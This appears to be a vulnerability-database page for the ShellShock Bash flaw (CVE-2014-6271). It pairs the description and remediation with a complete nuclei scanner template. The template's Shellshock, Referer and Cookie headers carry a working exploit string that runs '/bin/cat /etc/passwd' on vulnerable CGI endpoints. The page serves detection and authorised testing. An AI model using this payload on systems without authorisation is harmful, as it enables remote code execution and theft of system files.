ShellShock - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-01-28; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock.

Impact

Remote code execution can lead to unauthorized access, data theft, and system compromise.

Fix

Apply the necessary patches and updates provided by the vendor to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}{{paths}}
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2014-6271 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-6271

info:
  name: ShellShock - Remote Code Execution
  author: pentest_swissky,0xelkomy
  severity: critical
  description: GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock.
  impact: |
    Remote code execution can lead to unauthorized access, data theft, and system compromise.
  remediation: |
    Apply the necessary patches and updates provided by the vendor to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-6271
    - https://nvd.nist.gov/vuln/detail/CVE-2014-7169
    - http://www.kb.cert.org/vuls/id/252743
    - http://www.us-cert.gov/ncas/alerts/TA14-268A
    - http://advisories.mageia.org/MGASA-2014-0388.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-6271
    cwe-id: CWE-78
    epss-score: 0.99999
    epss-percentile: 0.99992
    cpe: cpe:2.3:a:gnu:bash:1.14.0:*:*:*:*:*:*:*
  metadata:
    max-request: 8
    vendor: gnu
    product: bash
  tags: cve2014,cve,rce,shellshock,kev,gnu,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - ""
        - "/cgi-bin/status"
        - "/cgi-bin/stats"
        - "/cgi-bin/test"
        - "/cgi-bin/status/status.cgi"
        - "/test.cgi"
        - "/debug.cgi"
        - "/cgi-bin/test-cgi"
        - "/cgi-bin/test.cgi"

    stop-at-first-match: true

    headers:
      Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
      Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
      Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from